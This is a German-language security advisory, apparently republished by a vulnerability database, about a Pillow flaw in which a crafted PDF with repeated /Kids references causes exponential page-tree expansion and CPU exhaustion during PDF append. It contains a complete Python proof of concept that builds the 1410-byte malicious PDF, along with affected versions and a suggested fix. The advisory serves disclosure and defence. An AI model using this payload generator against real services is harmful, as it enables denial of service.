Pillow PDF-Append akzeptiert fehlerhaften, geteilten Seitenbaum-DAG und verursacht Ressourcenerschöpfung
Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.
Zusammenfassung
Der dokumentierte PDF-Append-Pfad von Pillow kann bei einem kompakten, fehlerhaften PDF-Seitenbaum unverhältnismäßig viel CPU-Zeit beanspruchen.
Ein Angreifer, der einer Anwendung, die ein Bild mit Image.save(..., format="PDF", append=True) anhängt, ein bestehendes PDF bereitstellen kann, kann einen fehlerhaften /Pages-Baum übergeben, bei dem jede Ebene dieselbe untergeordnete /Pages-Referenz in /Kids wiederholt. Pillow behandelt den Graphen als Baum und expandiert jede wiederholte Referenz in PdfParser.linearize_page_tree(), ohne besuchte oder doppelte indirekte Referenzen nachzuverfolgen.
In dem unten aufgeführten Proof of Concept expandiert ein 1410-Byte großes PDF zu 8192 Seitenreferenzen aus einem einzigen Seitenobjekt und benötigt etwa 9.6 Sekunden über den Append-Pfad. Eine vergleichbare lineare Kontrollprobe mit derselben Tiefe verbleibt bei einer Seitenreferenz und schließt in etwa 0.02 Sekunden ab.
Dies liegt im Rahmen der Sicherheitsrichtlinie von Pillow, da es in main reproduzierbar ist, die neueste getestete öffentliche Version (12.3.0) betrifft und nicht lediglich eine unerwartete Python-Exception darstellt. Die betroffene Operation verarbeitet vom Angreifer kontrollierte PDF-Bytes über den PDF-Parser von Pillow und führt zu deterministischem Ressourcenverbrauch vor dem regulären Abschluss.
Details
Betroffene Versionen
- Paket:
Pillow - Ökosystem:
pip/ PyPI - Betroffene Komponente:
src/PIL/PdfParser.pySeitenbaum-Traversierung, erreicht über die PDF-Append-Verarbeitung insrc/PIL/PdfImagePlugin.py - Im Betrieb getestete betroffene Version:
12.3.0 - Im Betrieb getestete betroffene Entwicklungsversion:
13.0.0.dev0 - Getesteter Commit:
b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Aktueller Hash des Quellartefakts:
sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054 - Release
12.3.0Commit:bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Release
12.3.0Hash des Quellartefakts:sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81 - Auf Quellcode-Ebene betroffen:
5.1.0,12.2.0,12.3.0undHEAD - Wahrscheinlich betroffener Bereich:
>= 5.1.0 - Behobene Versionen: keine bekannt
Nachweisdaten:
- Im Betrieb getestet betroffen: 12.3.0
- Im Betrieb getestet betroffen: 13.0.0.dev0 bei b39b9649312fbc381060e8c7c7f9f0de4cc63daa
- Auf Quellcode-Ebene betroffen: 5.1.0
- Auf Quellcode-Ebene betroffen: 12.2.0
- Auf Quellcode-Ebene betroffen: HEAD
- Wahrscheinlich betroffener Bereich: >= 5.1.0, keine behobene Version bekannt
- Vorab-Hinweis: 5.0.0 enthält PdfImagePlugin.py, jedoch nicht src/PIL/PdfParser.py
5.0.0 enthält src/PIL/PdfImagePlugin.py, jedoch nicht src/PIL/PdfParser.py. PdfParser.py wurde durch 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs) eingeführt, was in 5.1.0 veröffentlicht wurde.
Technische Details
Der erreichbare Ausführungspfad ist:
-
Ein Dienst oder eine Anwendung empfängt ein vom Angreifer beeinflusstes PDF und hängt ein Bild über den öffentlichen PDF-Speicherpfad von Pillow an:
pythonImage.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True) -
src/PIL/PdfImagePlugin.pyleitetappend=TrueanPdfParserweiter:pythonis_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b") -
src/PIL/PdfParser.pyparst das vorhandene PDF und linearisiert den Seitenbaum:pythonself.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] -
linearize_page_tree()folgt rekursiv jedem/Kids-Eintrag und erweitert die Seitenliste. Es verfolgt weder die Identität der Seitenbaumknoten noch doppelte Referenzen oder aktive Traversierungsreferenzen:pythondef linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages -
Während des Anfügens iteriert
rewrite_pages()über die expandierteorig_pages-Liste und scannt bzw. ersetzt Einträge inself.pages, was zusätzlichen Aufwand für die ohnehin vergrößerte Liste doppelter Referenzen verursacht.
Die fehlende Invariante lautet:
The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.
Der Machbarkeitsnachweis nutzt bewusst einen fehlerhaften PDF-Seitenbaum-DAG: Jeder /Pages-Knoten wiederholt dieselbe nachfolgende /Pages-Kindreferenz zweimal. Pillow akzeptiert diesen Graphen und expandiert ihn so, als ob die wiederholte Referenz getrennte Teilbäume darstellen würde.
PoC
Für die Validierung verwendete Umgebung:
- Betriebssystem/Laufzeit: Linux, Python
3.13.11 - Aktuell getesteter Build: Pillow
13.0.0.dev0, Commitb39b9649312fbc381060e8c7c7f9f0de4cc63daa - Zuletzt getestetes Release: Pillow
12.3.0 - Der Nachweis verwendet ausschließlich synthetische In-Memory-PDFs und greift nicht auf das Netzwerk zu.
Speichern als poc_pillow_pdf_page_tree_dag.py:
#!/usr/bin/env python3
from __future__ import annotations
import io
import json
import sys
import time
from PIL import Image, PdfParser
import PIL
def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
if fanout not in (1, 2):
raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
for object_id in range(2, depth + 3):
next_id = object_id + 1
kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))
result = bytearray(b"%PDF-1.4\n")
offsets = [0]
for object_id, value in enumerate(objects, start=1):
offsets.append(len(result))
result.extend(f"{object_id} 0 obj\n".encode("ascii"))
result.extend(value)
result.extend(b"\nendobj\n")
xref_offset = len(result)
result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
result.extend(b"0000000000 65535 f \n")
for offset in offsets[1:]:
result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
result.extend(
f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
)
return bytes(result)
def run_case(depth: int, fanout: int) -> dict[str, object]:
payload = make_page_tree_pdf(depth, fanout)
expected_refs = fanout ** (depth + 1)
start = time.monotonic()
with PdfParser.PdfParser(buf=payload) as pdf:
observed_refs = len(pdf.pages)
distinct_refs = len(set(pdf.pages))
parse_seconds = time.monotonic() - start
output = io.BytesIO(payload)
start = time.monotonic()
Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
append_seconds = time.monotonic() - start
return {
"fanout": fanout,
"depth": depth,
"input_bytes": len(payload),
"expected_refs": expected_refs,
"observed_refs": observed_refs,
"distinct_refs": distinct_refs,
"parse_seconds": round(parse_seconds, 6),
"append_seconds": round(append_seconds, 6),
"output_bytes_after_append": len(output.getvalue()),
}
def main() -> int:
depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
if not 0 <= depth <= 16:
raise SystemExit("depth must be between 0 and 16")
linear = run_case(depth, fanout=1)
shared_dag = run_case(depth, fanout=2)
checks = {
"linear_control_stays_one_page": linear["observed_refs"] == 1,
"candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
== shared_dag["expected_refs"],
"candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
"candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
"append_path_processed_both_inputs": linear["output_bytes_after_append"]
> linear["input_bytes"]
and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
}
result = {
"pillow_version": PIL.__version__,
"pillow_file": PIL.__file__,
"depth": depth,
"linear_control": linear,
"shared_dag_candidate": shared_dag,
"checks": checks,
"overall_passed": all(checks.values()),
}
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["overall_passed"] else 1
if __name__ == "__main__":
raise SystemExit(main())
Ausführen:
python3 poc_pillow_pdf_page_tree_dag.py
Erwartetes Ergebnis:
"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1
Beobachtet auf aktuellem main / 13.0.0.dev0:
1410-byte input -> 8192 observed page refs -> 9.563007s append
Beobachtet auf Pillow 12.3.0:
Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append
Zum Vergleich nutzt die lineare Kontrolle im selben Testaufbau einen Seitenbaum vergleichbarer Tiefe mit fanout=1; sie erzeugt eine Seitenreferenz und schloss das Anfügen in meinen Testläufen in etwa 0.016 bis 0.028 Sekunden ab.
Auswirkungen
Dies ist ein Verfügbarkeitsproblem bei der PDF-Append-Verarbeitung in Pillow. Anwendungen sind betroffen, wenn nicht vertrauenswürdige Benutzer ein bestehendes PDF bereitstellen können, an das die Anwendung später Daten anhängt, ein Wasserzeichen anbringt oder es über die Image.save(..., format="PDF", append=True)-Route von Pillow exportiert.
Die demonstrierte Schwachstelle besteht in einer deterministischen CPU-/Ressourcenverstärkung durch kompakte, vom Angreifer kontrollierte PDF-Bytes. Der Nachweis zeigt keine Auswirkungen auf Vertraulichkeit, Integrität, Speicherbeschädigung, Dateisystemzugriff, Netzwerkzugriff oder Beeinträchtigungen durch reguläres Image.open().
Erfordert ein vom Angreifer beeinflusstes bestehendes PDF, das über den dokumentierten PDF-Append-Pfad von Pillow verarbeitet wird; nicht gewöhnliches Image.open().
Dies sollte nicht lediglich als unerwartete Python-Exception abgetan werden. In den getesteten betroffenen Builds wird das manipulierte PDF akzeptiert und nach der aufwendigen Expansion bis zum regulären Ende verarbeitet.
Problembehebung
Doppelte und zyklische Seitenbaum-Referenzen müssen vor der Erstellung von self.pages und self.orig_pages abgewiesen werden.
Ein möglicher Fix besteht darin, den Traversierungsstatus über linearize_page_tree() zu übergeben:
- Aktive
/Pages-Referenzen nachverfolgen, um Zyklen abzuweisen. - Bereits gesehene indirekte Seitenbaum- und Seitenreferenzen nachverfolgen, um Duplikate abzuweisen.
PdfFormatErrorauslösen, wenn der Seitenbaum kein azyklischer Baum eindeutiger indirekter Referenzen ist.
Vorgeschlagene Regressionstests:
- Ein kleines PDF, dessen
/Kids-Array dieselbe untergeordnete/Pages-Referenz wiederholt, sollte bei der Verwendung überImage.save(..., format="PDF", append=True)zügig einPdfFormatErrorauslösen. - Ein normaler, geschachtelter linearer Seitenbaum sollte weiterhin erfolgreich angehängt werden können.
Was zu tun ist
Aktualisieren Sie Pillow auf Version 13.0.0 oder höher. Alternativ sollten doppelte und zyklische Seitenbaum-Referenzen vor der Erstellung von self.pages und self.orig_pages abgewiesen werden, beispielsweise durch Nachverfolgung aktiver /Pages-Referenzen in linearize_page_tree() und Auslösen von PdfFormatError.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | >= 5.1.0, < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2
- https://nvd.nist.gov/vuln/detail/CVE-2026-96640
- https://github.com/python-pillow/Pillow/pull/10093
- https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-400, CWE-407- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 22.10.2026
- Aktualisiert
- 29.10.2026 12:17
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-mrfp-p49p-3hf2 - CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 106
- Erste → letzte
- 04.2014 11.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 14
- Hoch 63
- Mittel 27
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 19
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 49
früher: 12
-
Pillow PDF-Append akzeptiert fehlerhaften, geteilten Seitenbaum-DAG und verursacht Ressourcenerschöpfung dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.